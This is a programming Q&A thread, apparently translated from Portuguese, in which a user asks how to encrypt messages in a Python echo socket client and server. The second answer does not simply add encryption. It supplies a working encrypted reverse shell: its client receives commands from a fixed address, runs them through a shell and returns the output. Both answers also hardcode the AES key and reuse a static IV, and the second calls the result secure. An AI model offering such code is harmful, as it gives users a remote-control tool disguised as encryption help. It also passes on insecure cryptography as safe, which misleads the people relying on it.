Encrypt message through a python socket

Asked

Viewed 76 times

-1

I was looking through the internet and found a tutorial that showed how to make a client and server communication through a socket.

These are the scripts:

Server

#!/usr/bin/env python3

import socket

HOST = 'localhost'
PORT = 50000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen()
print('Aguardando conexão do cliente')
conn, ender = s.accept()

print('Conectado em', ender)
while True:
    data = conn.recv(1024)
    if not data:
        print('Fechando a conexão')
        conn.close()
        break
    conn.sendall(data)

Client

#!/usr/bin/env python3

import socket

HOST = '127.0.0.1'
PORT = 50000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(str.encode('Hello human!'))
data = s.recv(1024)

print('Mensagem ecoada:', data.decode())

How do I encrypt this message, if there is any way?

I’d be grateful if someone answered.

2 answers

1

you can use these 2 fuinções to encodar and decode the sent message

client: from Crypto.Cipher import AES

def do_encrypt(message):
    obj = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
    ciphertext = obj.encrypt(message)
    return ciphertext

server:

from Crypto.Cipher import AES

def do_decrypt(ciphertext):
    obj2 = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
    message = obj2.decrypt(ciphertext)
    return message
  • 1

    Blz, but how do I integrate this into my code? Sorry, I’m new to this part of socket and tals

  • just use do_encrypti on its date variable do_encrypt(data) and decrypt it when reveber it on the other side

0

Simply put, encrypt the message sends on the other side decrypts the message and encrypts the response.

A: envia mensagem cifrada a B
B: decrifa                                                                                           

A -**crypt**--> B
A <--**crypt**- B

Client code
Using AES, is a block cipher, operates in blocks of fixed size (128 bits, or 16 bytes) symmetrically, use the same key to encrypt and decrypt.

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import socket
import subprocess
key = b"H" * 32  # chave secreta
IV = b"H" * 16 # 16 + 16 = 32 ,tamanho

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def cliente():
    s = socket.socket()
    s.connect(('192.168.0.1', 6666))
    while True:
        entrada = decrypt(s.recv(1024)) # descriptografar,1024 é a quantidade de carácter de retorno
        if 'sair' in entrada.decode():
             break
        else:
            CMD = subprocess.Popen(entrada.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
            s.send(encrypt(CMD.stdout.read())) #mensagem cifrada com segurança.

Server Code

import socket

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

IV = b"H" * 16 # chave secreta
key = b"H" * 32 # tamanho

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def connect():

    s = socket.socket()
    s.bind(('192.168.0.1', 6666))
    s.listen(1) 
    conn, address = s.accept()
    while True:

        entrada = input("shell: ")
        if 'sair' in entrada:
            conn.send(encrypt(b'sair'))
            conn.close()
            break
        else:
            entrada= encrypt(entrada.encode()) # protegida
            conn.send(entrada)# envia mensagem criptografada
            print(decrypt(conn.recv(1024)).decode())# mensagem cript

Browser other questions tagged

You are not signed in. Login or sign up in order to post.